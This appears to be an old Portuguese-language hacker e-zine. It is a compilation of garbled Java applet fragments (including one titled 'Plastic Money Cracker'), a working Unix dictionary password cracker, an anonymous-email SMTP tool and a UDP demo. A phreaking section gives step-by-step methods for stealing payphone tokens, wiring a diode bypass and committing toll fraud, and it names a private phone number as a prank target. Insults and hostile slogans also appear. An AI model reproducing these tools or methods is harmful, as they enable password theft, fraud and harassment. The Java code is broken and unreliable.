add (name);
int space= 4;
intw1=width /3;
namep.reshape (0, (height - space )/2,w1
name.reshape(w1, ( height - space) /2, w1
}};

byte c= {public void init () {
Set Layout (null);
int width=integer.parseInt
(get parameter ("height"));
Label namep=newLabel ("Nmero:", Label. Right);
Text Field name= new Text Field (8)

add (namep);
add (name);
int space= 4;
intw1=width /3;
namep.reshape (0, (height - space )/2,w1
name.reshape(w1, ( height - space) /2, w1
}};

byte d= {public void init () {
Set Layout (null);
int width=integer.parseInt
(get parameter ("height"));
Label namep=newLabel ("Nmero:", Label. Right);
Text Field name= new Text Field (8)

add (namep);
add (name);
int space= 4;
intw1=width /3;
namep.reshape (0, (height - space )/2,w1
name.reshape(w1, ( height - space) /2, w1
}};

byte e= {public void init () {
Set Layout (null);
int width=integer.parseInt
(get parameter ("height"));
Label namep=newLabel ("Nmero:", Label. Right);
Text Field name= new Text Field (8)

add (namep);
add (name);
int space= 4;
intw1=width /3;
namep.reshape (0, (height - space )/2,w1
name.reshape(w1, ( height - space) /2, w1
}};

byte f= {public void init () {
Set Layout (null);
int width=integer.parseInt
(get parameter ("height"));
Label namep=newLabel ("Nmero:", Label. Right);
Text Field name= new Text Field (8)

add (namep);
add (name);
int space= 4;
intw1=width /3;
namep.reshape (0, (height - space )/2,w1
name.reshape(w1, ( height - space) /2, w1
}};

byte g= {public void init () {
Set Layout (null);
int width=integer.parseInt
(get parameter ("height"));
Label namep=newLabel ("Nmero:", Label. Right);
Text Field name= new Text Field (8)

add (namep);
add (name);
int space= 4;
intw1=width /3;
namep.reshape (0, (height - space )/2,w1
name.reshape(w1, ( height - space) /2, w1
}};

byte h= {public void init () {
Set Layout (null);
int width=integer.parseInt
(get parameter ("height"));
Label namep=newLabel ("Nmero:", Label. Right);
Text Field name= new Text Field (8)

add (namep);
add (name);
int space= 4;
intw1=width /3;
namep.reshape (0, (height - space )/2,w1
name.reshape(w1, ( height - space) /2, w1
}};

byte i= {public void init () {
Set Layout (null);
int width=integer.parseInt
(get parameter ("height"));
Label namep=newLabel ("Nmero:", Label. Right);
Text Field name= new Text Field (8)

add (namep);
add (name);
int space= 4;
intw1=width /3;
namep.reshape (0, (height - space )/2,w1
name.reshape(w1, ( height - space) /2, w1
}};

byte j= {public void init () {
Set Layout (null);
int width=integer.parseInt
(get parameter ("height"));
Label namep=newLabel ("Nmero:", Label. Right);
Text Field name= new Text Field (8)

add (namep);
add (name);
int space= 4;
intw1=width /3;
namep.reshape (0, (height - space )/2,w1
name.reshape(w1, ( height - space) /2, w1
}};

byte k= {public void init () {
Set Layout (null);
int width=integer.parseInt
(get parameter ("height"));
Label namep=newLabel ("Nmero:", Label. Right);
Text Field name= new Text Field (8)

add (namep);
add (name);
int space= 4;
intw1=width /3;
namep.reshape (0, (height - space )/2,w1
name.reshape(w1, ( height - space) /2, w1
}};

byte l= {public void init () {
Set Layout (null);
int width=integer.parseInt
(get parameter ("height"));
Label namep=newLabel ("Nmero:", Label. Right);
Text Field name= new Text Field (8)

add (namep);
add (name);
int space= 4;
intw1=width /3;
namep.reshape (0, (height - space )/2,w1
name.reshape(w1, ( height - space) /2, w1
}};


add (namep);
add (name);
int space= 4;
intw1=width /3;
namep.reshape (0, (height - space )/2,w1
name.reshape(w1, ( height - space) /2, w1
}};

double n;

{public void init (){
Set Layout(null);
intwidth=Integer.parseInt
(getparameter ("height"));
Button ok=newButton("OK");
add (ok);
ok reshape (0,0, width, height /3);
}
 ("n= Math.sqrt (a.b*2-10.c.d*2-10.e.f*2-10.g.h*2-10.i.j*2-10.k.l*2-10);",
/**
* Observaao: Na equaao matematica acima podemos separar os metodos com ponto
* ou um ponto e uma virgula dependendo de qual javac vc usa.*/

double o;

{public void init (){
Set Layout(null);
intwidth=Integer.parseInt
(getparameter ("height"));
Button ok=newButton("OK");
add (ok);
ok reshape (0,0, width, height /3);
}
 ("o= Math.sqrt (n-100=x);",

double p;

{public void init (){
Set Layout(null);
intwidth=Integer.parseInt
(getparameter ("height"));
Button ok=newButton("OK");
add (ok);
ok reshape (0,0, width, height /3);
}
{Lab= new Label ("n.o);",



Label. SetFont (newfont ("Phyllis", font. ITALIC, 16));
add(lab);}

public boolean action (Event e, object o)
{ if fo instaceo f String){
Lab set Text ((String)o);}
return false; }};

Text Area text= new Text area (val 80,40;
Frame f=new Frame ("PMC - Plastic Money Cracker");
f. resize( width, height);
f.add ("Center", Text);
f.show();
}
      }
---------------------------------Termina--------------------------------------

          FWB - Fucker World Browser by Draco escrito em java browser do
          e-zine FW para instalalo compileo copie o programa HakTek que pode
          ser adquirido na page que citei l em cima copie o browser e o
          HakTek no diretorio fw e utilize um programa de visualizaao
          de applets estabelea conexao com a net pelo dial up e aponte nosso
          browser para onde quiser frizando algumas linhas ainda contem bugs
          se voc os encontrar e-mail na gente. Hack hack by BRAZIL 100%

--------------------------------Corta-----------------------------------------

import java.net.*;
import java.io.*;
class FWBROWSE{
public static void main (String args [ ]) throws Exception {
int c;
URL hp = new URL ("http", 
public void init () {
setlayout (null);
int width = Integer.parseInt
(getParameter ("width"));
int height = Integer.parse Int
(getParameter ("height"));
Label hostp = new Label ( "Host:  ", Label.RIGHT);
TextField host = new TextFiel (8);
;
add (hostp);
add (host);
int space = 40;
int w1 = width /3;
hostp.reshape (0, (height - space) /2,w1,
space);
host.reshape (w1, (height - space) /2, w1,
}
}
                   " , 80, "/")

URLConnection hpCon = hp.openConnection( );
System.out.println("Data: " + hpCon.getDate ());
System.out.println ("Tipo: " + hpCon.
getcontentType());

System.out.println("Exp: " +
hpCon.getExpirition (  ) ) ;

System.out.println("Ult M: " + hpCon.
getLastModified (  ) ) ;

System.out.println ("Compr: " + hpCon.
getContentLength (  ) ) ;

if (hpCon.getContentLength ( ) > 0){

System.out.println (" === Conteudo ===");

InputStream entrada = hpCon.getInputStream ();
int i=hpCon.getContentLength ( );
while ((( c= entrada.read ()) != -1) &&
(--i >0)) {
System.out.print ((char) c);

}
entrada.close ();
 } else {
System.out.println ("Nenhum Conteudo Disponivel");
}
}
}

public void init () {

int width=Integer.parseInt
(getParameter("width"));
int height=Integer.parseInt
(getParameter("height"));

f.resize(width, height);

Menubar mbar= new MenuBar();
f.set MenuBar (mbar);

Menu file=new Menu ("Ajuda");


file.add(new MenuItem("Sobre..."));{

public void init(){
int width=Integer.parseInt
(getParameter("width"));
int height=Integer.parseInt
(get  parameter ("height"));


String val=" FWB - Fucker World Browse verso 0.0 beta \n"
"Provavelmente o primeiro browse brasileiro feito em java.\n"
"Voc pode se sentir a vontade em mudar suas linhas de comando ou no j elas se encontram junto com o programa com o nome fwbrowse.java.\n"
" Contactenos em jocker@angelfire.com\n"
"fuck, fuck, fuck, fuck all constituition FUCK WORLD\n"
"I HATE USA\n"
"Orgulhosos em sermos BRASILEIROS\n\n";

Textarea Text=new text Area (val,80,40);
f.resize(width, height);
f.add("CENTER" , Text);
f.show ();}

file.add (new MenuItem ("Ajuda...");

public void init(){
int width=Integer.parseInt
(getParameter("width"));
int height=Integer.parseInt
(get  parameter ("height"));


String val="Caralho como que alguem normal precisa de ajuda para usar um troo to idiota que nem este?\n"


Textarea Text=new text Area (val,80,40);
f.resize(width, height);
f.add("CENTER" , Text);
f.show ();}


ile.add (new Menu Item ("Draco...");

public void init(){
int width=Integer.parseInt
(getParameter("width"));
int height=Integer.parseInt
(get  parameter ("height"));


String val="Programo a mili anos e sempre odiei aqueles marrecos que sempre diziam "+
"que Brasileiro no sabe programar nada legal agora me falem quanos gringos tem um "+
"Browse personalizado??????????????\n"
"Draco 1997\n"
"fuck, fuck, fuck, fuck all constituition FUCK WORLD\n"
"Orgulhosos em sermos BRASILEIROS\n"
"No nos responsabilizamos por merdas feitas por voc ou pelo programa\n"
"FWB - Fucker World Browse by Draco 1997\n"
"Sintase livre em distribuilo ou alterar seu conteudo respeitando o autor.\n";

Text Area text= new Text area (val 80,40;
Frame f=new Frame ("FWB - Fucker World Browse");
f. resize( width, height);
f.add ("Center", Text);
f.show();
}
      }

Label Center Up = new Label ("Center Up", Label.Center Up
public void init ( ) {
setLayout (null);
int width = Integer.parseInt
(getParameter ("width"));
int height = Integer.parseInt (getParameter ("height")); Button hak = new Button ("Hak TEK
public boolean action (Event e, Object o) {
if (o instanceof String){
lab.execute ((String "c:\fwb\haktek.exe")o);
}
return true;
}
}");
add (hak);
yes.reshape (0, 0, width, height /3);
no.reshape(0, height /3, width, heigh /3);
maybe.reshape (0, 2 * height /3, width,
height /3);}}
public void init (){
set Layout (null);
int largura = Integer.parseInt
(getParameter ("width"));
int altura = Integer.parseInt
(getParameter ("height"));
Scrollbar hs = new Scrollbar (Scrollbar.
Horizontal, 100, largura 20 ,0 , 200);
Scrollbar vs = new Scrollbar (Scrollbar
Vertical 100, altura/4,0,200);
add(hs);
add(vs);
int grossura =16;
hs.reshape(0, altura - grossura,
largura - grossura , grossura);
vc.reshape (largura - grossura, 0 ,
grossura, altura - grossura);
}}

---------------------------------Termina--------------------------------------

          GUESS - GUESS by Dark Wizard escrito em C na verdade este programa
          foi escrito por nao sei quem mas nao foi escrito pelo DW ele apenas
          o melhorou deixando-o um pouquinho mais rpido e melhorando
          algumas coisinhas e retirando poucos bugs.

--------------------------------Corta-----------------------------------------


          /*****************************************************

          Fast DES program module
          - Copyright 1991, Dark Wizard

         Este programa e um softaware free; Vc pode copiar e
         redistribuir a vontade e fazer a mudanca que desejar.

         Faca o que quiser com ele naum esquecendo que ele foi escrito
         por Dark Wizard.
         O autor naum se responsabiliza por merdas feitas por vc ou 
         pelo programa
              
         *****************************************************/  

#include <stdio.h>
#include <alloc.h>
#include <bios.h>
#include <string.h>
#include <dos.h>
#include <io.h>
#include "fdes.h"

#define PMAX    1300

#define VER_MAJ	2
#define VER_MIN 1

int	 catchup = 0;
char  catchword[40];

int    allflag = 1;
char	 u_name[40];

struct passwd2 *p;
int    n;
long   crypts = 0;


void S_Check(char *s)
{
int i;

	setname(s);

	for(i=0; i<n; i++){
		if(p[i].pw_broken == 0){
			if(shortcrypt(p[i].pw_out96,p[i].pw_salt)){
				printf("%s is %s\n",p[i].pw_user,s);
				strncpy(p[i].pw_passwd,s,8);
				p[i].pw_broken = 1;
			}
			crypts++;
		}
	}
}

void A_Check(void)
{
char try[20];
int i;
		
	for(i=0; i<n; i++){
		if(p[i].pw_broken == 0){
			strcpy(try,p[i].pw_user);
			try[8] = '\0';
			setname(try);
			if(shortcrypt(p[i].pw_out96,p[i].pw_salt)){
				printf("%s is %s\n",p[i].pw_user,try);
				strncpy(p[i].pw_passwd,try,8);
				p[i].pw_broken = 1;
			}
			crypts++;
		}
	}

	for(i=0; i<n; i++){
		if(p[i].pw_broken == 0){
			strcpy(try,p[i].pw_user);
			strcat(try,p[i].pw_user);
			try[8] = '\0';
			setname(try);
			if(shortcrypt(p[i].pw_out96,p[i].pw_salt)){
				printf("%s is %s\n",p[i].pw_user,try);
				strncpy(p[i].pw_passwd,try,9);
				p[i].pw_broken = 1;
			}
			crypts++;
		}
	}
}

void U_Check(char *d)
{
FILE *fin;
char	w[40];
char	s[40];
int   i;

	if((fin = fopen(d,"r")) == NULL){
                printf("Impossivel abrir arquivo %s (continuing)\n",d);
		return;
	}

	if(catchup != 0){
		while(fgets(s,39,fin) != NULL){
			*strchr(s,'\n') = '\0';
			if(!strcmp(s,catchword))
				goto Resume;
		}
		return;
	}

Resume:

	catchup = 0;

	for(i=0;i<n;i++){
		if(!strcmp(p[i].pw_user,u_name))
			break;
	}

	if(i == n)
		return;

	if(p[i].pw_broken == 1)
		return;

	while(fgets(s,39,fin) != NULL){
		if(s[0] == '\n')
			continue;
		strcpy(w,s);
		*strchr(w,'\n') = '\0';
		w[8] = '\0';
		crypts++;
		setname(w);
		if(shortcrypt(p[i].pw_out96,p[i].pw_salt)){
			printf("%s is %s\n",p[i].pw_user,w);
			strcpy(p[i].pw_passwd,w);
			p[i].pw_broken = 1;
			return;
		}
		if(kbhit()){
                        printf("Terminara apenas apos a checagem %s\n",s);
			return;
		}
	}
}

void F_Check(char *d)
{
FILE *fin;
char	w[40];
char	s[40];
int   i;

	if((fin = fopen(d,"r")) == NULL){
                printf("Impossivel abrir arquivo %s (continuing)\n",d);
		return;
	}

	if(catchup != 0){
		while(fgets(s,39,fin) != NULL){
			*strchr(s,'\n') = '\0';
			if(!strcmp(s,catchword))
				goto Resume;
		}
		return;
	}

Resume:

	catchup = 0;

	while(fgets(s,39,fin) != NULL){
		if(s[0] == '\n')
			continue;
		strcpy(w,s);
		*strchr(w,'\n') = '\0';
		w[8] = '\0';
		setname(w);
		for(i=0; i<n; i++){

			if(shortcrypt(p[i].pw_out96,p[i].pw_salt)){
				printf("%s is %s\n",p[i].pw_user,w);
				strcpy(p[i].pw_passwd,w);
				p[i].pw_broken = 1;
			}
			crypts++;
		}
		if(kbhit()){
                        printf("Terminag %s\n",s);
			return;
		}
	}
}

main(int argc,char *argv[])
{
long	time;
int	i,update;
struct passwd *p1;
FILE *fout;
int got=0;

	if(argc < 2){
          printf("\nDark Cracker: Unix Password Checker [Version %d.%d]\n",
                VER_MAJ,VER_MIN);

        puts("Dark Cracker - Copyright 1991 Dark Wizardt\n"
              "hahahahahahahaha\n"
              "THIS IS A BETA TEST VERSION FOR PUBLIC DISTRIBUTION\n"
              "Use: DC [PASSWORD_FILE] [[OPTION] [DICTIONARY]] ...\n"
			  "Options are:\n\n"
                          "      -a       Pformance algoritimica ao hecar passwords\n"
                          "      -cWORD   Especificar palavra no dicionarioy\n"
                          "      -sWORD   Checar a password file apenas especificando o nome\n"
                          "      -uNAME   Limita o uso do dicionario para certos nomes\n"
              "      -w       Permite que todos usuarios chequem o dicionario\n\n"
			  );
		return 1;
	}

	printf("Reading password file ... ");

	for(n=0;getpwent(argv[1])!=NULL;n++);

	printf("\nENTRIES  %d\n",n);

	if(n==0)
		return 1;

	if((p = calloc(n,sizeof(struct passwd2))) == NULL){
		printf("Couldn't allocate space for %d entries",PMAX);
		return 1;
	}

	n = 0;
	while((p1 = getpwent(argv[1])) != NULL){
		if(p1->pw_passwd[0] == '='){
			got++;
			continue;
		}
		if(strlen(p1->pw_passwd) != 13)
			continue;
		if(strchr(p1->pw_passwd,'*') != NULL)
			continue;
		strcpy(p[n].pw_user,p1->pw_user);
		p[n].pw_salt = flatten(p1->pw_passwd,p[n].pw_out96);
		p[n].pw_broken = 0;
		p[n].pw_passwd[0] = '\0';
		n++;
	}

	if(n == 0){
		puts("NO ENTRIES READ");
		return 1;
	}

	if(n == PMAX)
                printf("Memoria insuficiente! (CONTINUING)");

	printf("BROKEN   %d\n",got);
	printf("UNBROKEN %d\n",n);
    printf("PERCENT BROKEN  %d\n",(100 * got)/(got + n));

	puts("Initialising tables");
	init_des();

   time = biostime(0,0);

	for(i=2; i<argc; i++){
		if(argv[i][0] != '-'){
                        printf("Cheque a fila novamente %s\n",argv[i]);
			if(allflag == 1)
				F_Check(argv[i]);
			else
				U_Check(argv[i]);
		} else{
			switch(argv[i][1]){
				case 'c' :
					strcpy(catchword,&argv[i][2]);
					puts(catchword);
					catchup = 1;
					break;
				case 'a' :
                                        puts("Performance algoritimica checada");
					A_Check();
					break;
				case 'u'	:
					strcpy(u_name,&argv[i][2]);
					allflag = 0;
					break;
				case 'w' :
					allflag = 1;
					break;
				case 's'	:
					S_Check(&argv[i][2]);
					break;
				default  :
                                        printf("Opcao desconhecida %c\n",argv[i][1]);
			}
		}
	}

   time = biostime(0,0)-time;
	time++;

   printf("%ld guesses in %d seconds (%d guesses/sec %ld clocks)\n",crypts,
														(int)((time*10)/182),
														(int)((crypts*182)/(time*10)),time);

	if((fout = fopen("$$$.pwd","w")) == NULL){
                printf("Impossivel abrir o arquivo %s\n",argv[1]);
		free(p);
		return 1;
	}

	update = 0;
	for(i=0;i<n;i++)
		if(p[i].pw_broken)
			update++;

	if(update == 0){
		free(p);
		return 0;
	}

	i = 0;
	while((p1 = getpwent(argv[1])) != NULL){
		if(i<n){
			if(!strcmp(p1->pw_user,p[i].pw_user)){
				if(p[i].pw_broken){
					strcpy(p1->pw_passwd,"=");
					strcat(p1->pw_passwd,p[i].pw_passwd);
				}
				i++;
			}
		}
		fprintf(fout,"%s:%s:%d:%d:%s:%s:%s\n",p1->pw_user,p1->pw_passwd,
			p1->pw_uid,p1->pw_gid,p1->pw_gecos,p1->pw_dir,p1->pw_shell);
	}

	fclose(fout);

	free(p);

	unlink(argv[1]);
	rename("$$$.pwd",argv[1]);

	return 0;
}

---------------------------------Termina--------------------------------------

          Anonymous Mail - Anonymous Mail by Sir Hackalot escrito em C
          programa que manda e-mails anonimos retirado da revista phrack
          numero 41 pelo simples fato de este programa ser muito bom.
          email do autor sirh@sirh.com

--------------------------------Corta-----------------------------------------

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <fcntl.h>
#include <errno.h>


int openSock(name,port)
char *name;
int port;

{
      int mysock,opt=1;
      struct sockaddr_in sin;
      struct hostent *he;
      he = gethostbyname(name);
      if (he == NULL) {
            printf("No host found..\n");
            exit(0);
      }

      memcpy((caddr_t)&sin.sin_addr,he->h_addr_list[0],he->h_length);
      sin.sin_port = port;

      sin.sin_family = AF_INET;

      mysock = socket(AF_INET,SOCK_STREAM,0);

      opt = connect(mysock,(struct sockaddr *)&sin,sizeof(sin));

      return mysock;

}

/* This allows us to have many people on one TO line, seperated by
   commas or spaces. */

process(s,d)
int d;
char *s;
{
      char *tmp;
      char buf[120];

      tmp = strtok(s," ,");

      while (tmp != NULL) {
            sprintf(buf,"RCPT TO: %s\n",tmp);
            write(d,buf,strlen(buf));
            tmp = strtok(NULL," ,");
      }

}



getAndSendFrom(fd)
int fd;
{
      char from[100];
      char outbound[200];

      printf("You must should specify a From address now.\nFrom: ");
      gets(from);

      sprintf(outbound,"MAIL FROM: %s\n",from);
      write(fd,outbound,strlen(outbound));



}

getAndSendTo(fd)
int fd;
{
      char addrs[100];

      printf("Enter Recipients, with a blank line to end.\n");

      addrs[0] = '_';

      while (addrs[0] != '\0') {
            printf("To: ");
            gets(addrs);
            process(addrs,fd);
      }

}

getAndSendMsg(fd)
int fd;
{
      char textline[90];
      char outbound[103];

      sprintf(textline,"DATA\n");
      write(fd,textline,strlen(textline));


      printf("You may now enter your message.  End with a period\n\n");
      printf("[---------------------------------------------------------]\n");

      textline[0] = '_';

      while (textline[0] != '.') {
            gets(textline);
            sprintf(outbound,"%s\n",textline);
            write(fd,outbound,strlen(outbound));
      }

}


main(argc,argv)
int argc;
char *argv[];
{

      char text[200];
      int file_d;

      /* Get ready to connect to host. */
      printf("SMTP Host: ");
      gets(text);

      /* Connect to standard SMTP port. */
      file_d = openSock(text,25);

      if (file_d < 0) {
            printf("Error connecting to SMTP host.\n");
            perror("smtp_connect");
            exit(0);
      }

      printf("\n\n[+ Connected to SMTP host %s +]\n",text);

      sleep(1);

      getAndSendFrom(file_d);

      getAndSendTo(file_d);

      getAndSendMsg(file_d);

      sprintf(text,"QUIT\n");
      write(file_d,text,strlen(text));

    /* Here we just print out all the text we got from the SMTP
       Host.  Since this is a simple program, we didnt need to do
       anything with it. */

    printf("[Session Message dump]:\n");
      while(read(file_d,text,78) > 0)
            printf("%s\n",text);
      close(file_d);
}

---------------------------------Termina--------------------------------------

          Gravaserv - Gravaserv by anonymous escrito em java programa nao faz
          nada de muito til mas  excelente para voc poder obter nocoes
          de protocolo o autor nao tem o nick anonymous ele  desconhecido.

--------------------------------Corta-----------------------------------------

import java.net.*;
class GravaServ{
public static int portaServ = 666;
public static int portCli = 999;
public static int tam_buffer = 1024;
public static DatagramSocket ds;
public static byte buffer [ ] = new byte [tam_buffer];
public static void OServidor () throws Exception{

int poss=0;
while (true) {
int c = System.in.read ();
switch (c) {
case -1:
System.out.println ("Servidor Sai.");

         return ;
         case '/  r ' ;
         break;
         case '\ n' ;

ds.send (new DatagramPacket (buffer,
pos, InetAddress.getLocalHost (),
portaCli));
pos=0;
break;
default:
buffer [pos++]  =  (byte) c;
}
}
}
public static void OCliente () throws Exception {
while (true) {
DatagramPacket p = new Datagrampacket (buffer,
buffer.length);

ds.receive (p);
System.out.println ( new String  (p.getData (),
0, 0, p.getLength()));
}
}
public static void main (String args []) throws
Exception {
if (args.length == 1){
ds = new DatagramSocket (portaServ);
OServidor ( );
} else {
ds = new DatagramSocket (clientPort);
OClient ();
}
}
}

---------------------------------Termina--------------------------------------

<<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>>

                              8=#@!Phreak!@#=8

         Bom amiguinhos acho que ja esta na hora da gente colocar alguma
         coisa decente na seao phreaker mas pelo visto tudo que eu sei
         de phreak alguem ja colocou em algum outro e-zine acho que a unica
         coisa que naum colocaram e como roubar fichas pelo simples fato de
         eu ter inventado estes truquinhos maneiros.

         Ligando sem fichas

         1- Vc coloca sal humido no bocal das fichas e empurra com uma licha
         de unhas espera um 2 ou cinco minutos e pumba.

         Roubando fichas primeiro metodo

         Vc coloca no lugar das fichas uma chapinha daquelas que dobram para
         dentro nas latas de refri.
         Vc espera um dia no outro vc vai no orelhaum com uma licha de unhas
         e comea a forar a chapinha para baixo com ela "zan" vai cair tro-
         centas fichas.

         Roubando fichas segundo metodo

         Vc pega um arame daqueles bem groos e entorta ele depois coloca
         ele por debaixo do arelhaum de modo que ele entre pelo buraco aonde
         sai as fichas "plim" comea a cair todas as fichas do orelhaum.

         Nos telefones a cartao  s usar um cartao de 50 unidades quando
         atenderem do outro lado segura o numero 9 e tira o cartao

         Este metodo para ligaao internacional de graa foi retirado do site
         Mundo Hacker & Sociedade Phreacker coloqueio aqui pelo fato de ser
         uma boa tcnica e nao utilizar boxes.

                        Ligao Internacional Gratuita

         Para fazer uma ligaaum internacional, todos sabem que e muito facil
         ligar, mas pagar que e o problema. Durante esses anos muitos vem
         acessando BBS estrangeiras usando boxes para naum pagar a ligaens.
         Com o que vamos ensinar agora, voce vai poder ligar para qualquer
         lugar do mundo pagando um impulso normal sem usar nenhum programa
         alem do seu dial.
         O sistema e o seguinte:
         O numero da linha para onde voce vai ligar e 316-433-9418 nos EUA.
         Como voce esta no Brasil e vai ligar para os EUA voce deve discar
         entaum 01 316-433-9418
         (Vai pagar uma nota se fizer assim !). O que voce deve fazer e usar
         um codigo de area que vai confundir os aparelhos da EMBRATEL, e esse
         codigo e 0008.

         Vamos detalhar tudo:
         Para enganar, voce deve discar 0008 01 316-433-9418.

         0

         Ao discar o primeiro 0, a EMBRATEL vai pensar que e um procedimento
         normal e naum vai dar nenhuma mensagem.

         0

         Ao discar o segundo zero a EMBRATEL vai tentar localizar um pais que
         tenha como codigo de area 00. Naum vai encontrar nenhum, mas como
         voce vai ser rapido e discar o terceiro zero antes da mensagem poder
         ser passada para voce.
         Ai voce vai pensar... "Mesmo depois que eu ja tiver discado o
         terceiro numero la vai me dar a mensagem do segundo zero."
         Naum e verdade, pois os computadores estaraum ocupados tentando
         localizar o terceiro zero e naum teraum mais tempo de mandar a
         mensagem.

         0

         Ao discar o terceiro zero os computadores da EMBRATEL ja estaraum
         totalmente doidos com os zeros que voce estara discando. Lembre-se
         que voce tem que ser rapido ao discar, pois se voce demorar, as
         mensagens que ainda naum apareceram, provavelmente vaum aparecer.

         8

         Ao discar o oito voce estara mostrando aos computadores da Embratel
         que estaraum perdidos que voce esta querendo fazer uma ligaaum
         internacional.

         0

         Mais um zero para deixar os computadores realmente perdidos.

         1

         Codigo de area dos Estados Unidos. Pode ser trocado por qualquer
         outro codigo de qualquer outro pais.

         316-433-9418

         Numero da casa de um coitado ai qualquer. Se quiserem se divertir
         passem uns trotes para ele....
         Em ingles claro ! 

         Este manual que vou colocar a disposicao  o minimo que qualquer
         pessoa deve de saber sobre telefonia ele tambem foi retirado do
         Mundo Hacker & Sociedade Phreacker retirei os textos de l pelo fato
         de que eu nao sou muito bom em descobrir coisas no sistema telefonico
         prefiro sugar a informacao dos outros mas se falando em pc's isto
         j muda ;-)



         Manual de violaaum de Telefones Publicos, Privados e Celulares


1-Conceitos basicos a respeito de telefonia
2-Efetuando ligaoens de aparelhos sem teclas ou com cadeado
3-Ligando de telefone publico sem pagar
4-Efetuando ligaoens gratuitas de um telefone publico utilizando um diodo
5-Efetuando ligaoens gratuitamente utilizando um aparelho comum
6-Conectando notebooks a telefones publicos
7-Efetuando ligoens gratuitas de caixas de verificaaum (caixas da TELEPAR)
8-Ligando de telefone celular sem pagar





                   1-Conceitos basicos a respeito de telefonia:

         Ao contrario do que muita gente pensa, os fios da linha telefonica
         possuem uma tensaum continua equivalente a - 48 volts. Esta tensaum
         se altera para um valor alternado de 96 volts quando o telefone toca.
         Portanto, ao lidar com os fios do telefone, tenha o cuidado de naum
         encostar no orelhaum, na parede, ou em qualquer coisa que possa
         "aterra-lo". Este cuidado deve ser redobrado se o telefone for
         comunitario ou residencial.
         Levemos tambem em consideraum que se o aparelho possui uma tensaum
         continua, significa que ele tem tambem uma polarizaaum correta (fio
         positivo e fio negativo). Na instalaaum do aparelho esta polariza-
         aum faz diferena, mas quando o assunto e violaaum, ela deve ser
         observada. 
         Vamos lembrar tambem que existem dois tipos de linhas telefonicas:
         

         Decadicas ou Pulse - saum as linhas dos prefixos mais antigos do
         sistema telefonico. A identificaaum de chamadas se da atraves de
         uma serie de sinais (pulsos), que so interpretados pela central
         telefonica. 

         Multifrequenciais ou Tone - saum as linhas dos prefixos mais novos
         onde trabalham o servio de CPA (Central telefonica com controle por
         Programa Armazenado). A identificaaum de chamadas se da atraves da
         decodificaaum de tons frequenciais em numeros. 
                        indice


         2.Efetuando ligaoens de aparelhos sem teclas ou com cadeado:

         Antes de comearmos, precisamos definir o que significa "duraaum de um
         pulso". 
         Um pulso e simplesmente uma interrupaum no fluxo de corrente que
         circula na linha telefonica e a sua duraaum e entendida como o
         espao de tempo decorrido do inicio ao fim desta interrupaum. 
         Os pulsos enviados pelo aparelho telefonico quando voce aperta o
         botaumo de algum numero, saum iguais ao sinal emitido quando voce
         coloca o telefone no gancho. 
         A diferenciaaum e feita pela central telefonica, usando como
         referencia a duraaum do pulso, se ele for um pouco maior do que 0.5
         segundos (aumentar um pouco esse valor para as linhas mais antigas),
         a central considera que e um pedido de linha. Se a duraaum do pulso
         for menor do que esse valor, a central ira considerar que um numero
         a ser discado esta sendo enviado. 
         Para formar os numeros de 0 a 9, so enviado uma serie de pequenos
         pulsos em sequencia referentes ao numero, ou seja, 2 pulsos para o
         numero 2, 3 para o numero 3 e assim por diante. Para o numero 0 saum
         enviados dez pulsos. Para simular esses pulsos sem a necessidade de
         teclas, basta usar o botaum onde se "pega" a linha, aquele onde voce
         coloca o telefone em cima quando quer terminar uma ligaens. Aperte
         e solte este botaum rapidamente de acordo com o numero que voce quer
         discar, espere um pouco e aperte outra srie de vezes de acordo com
         o outro numero. Lembre-se que para o numero 0 deve-se apertar o bota-
         um dez vezes. Faa isso com todos os numeros e, ao final, voce vai
         escutar  o tom de chamada. 
                                     



       3-  Ligando de telefone publico sem pagar:

      Este metodo so funciona em telefones antigos! Aqueles que ainda usam
      fichas! (se estiver nos E.U.A, use o Red Box). 
      Por exemplo: 
      O numero que voce quer ligar e 6957-3823 (numero do viado do Eduardo).
      Primeiro voce deve dimunuir de 10 todos os numeros que completem o
      telefone a se ser discado, no caso esse telefone ficaria: 

                              ORIGINAL
 
                              6-10 = 4
                              9-10 = 1 
                              5-10 = 5 
                              7-10 = 3 
                              3-10 = 7 
                              8-10 = 2 
                              2-10 = 8
                              3-10 = 7

                                NOVO NUMERO
      
      O novo numero sera: 4153-7287
      O que voce vai ter que fazer e bater no bocal do telefone o numero de
      vezes correspondente a subtraaum, conforme explicado no item anterior.
      
      Desta maneira voce podera fazer ligaoens gratuitamente... hehehe!
      




 4. Efetuando ligacoens gratuitas de um telefone publico utilizando um diodo
 

     O diodo e um componente eletronico que possui diversas utilizaoens.
     Podemos resumir seu funcionamento basicamente na seguinte sintese:
     Um diodo (ou junaum PN), permite que a corrente circule em apenas uma
     direaum dentro de um circuito. 
     Ao se utiliza-lo para o fim aqui desejado, vamos precisar de um diodo
     IN4002, IN4004 ou IN4007. Estes podem ser encontrados facilmente em
     qualquer casa de componentes eletronicos. Vamos precisar tambem de um
     resistor com valor nominal de 22K e potncia de 1W. 

                              Maums a obra !

     Basta que voce ligue o diodo em paralelo com o resistor (conforme tenta
     mostrar a ilustraaum abaixo) e em seguida, descasque os fios do telefone
     e ligue cada uma das pontas obtidas com o diodo e o resistor neles.
     Lembre-se: voce vai apenas descascar os fios do orelhaum !!! Se voce
     corta-los, ele vai ficar sem linha. 
                                     
                                 ||Fio do telefone
                                 || 
             +-------------------++------------------+ 
             |                                       | 
             |         + {{{{{{{{{}}}}}}}}}}} -      | 
             |                 /diodo\               |
             +=============+              +==========+ 
             |               \resistor/              |
             |        + |||||||||||||||||||| +       |              
             |                                       |
             |                                       |
             +-------------------++------------------+
                                 || 
                                 ||

      Para executar esta tarefa, eu aconselho que voce descasque os fios dos
      orelhoens que voce utiliza com mais frequencia pois, devido ao fato dos
      fios do telefone publico serem muito grossos, naum e um trabalho que se
      possa fazer tranquilo e rapidamente sem ser notado. Voce dever observar
      tambem a polarizaaum correta a ser utilizada. Voce pode perceber isso
      facilmente pois, quando voce ligar o diodo de maneira errada, o orelhaum
      vai ficar sem linha.
      Uma dica pessoal: os telefones de cabine e os de caraum saum mais 
      faceis de serem violados. Alguns orelhoens comuns tem uma proteaum  
      blindada que impedem o acesso ao cabo telefonico. Embora mesmo assim 
      seja possvel puxar o fio com um gancho, que voce deve enfiar do lado 
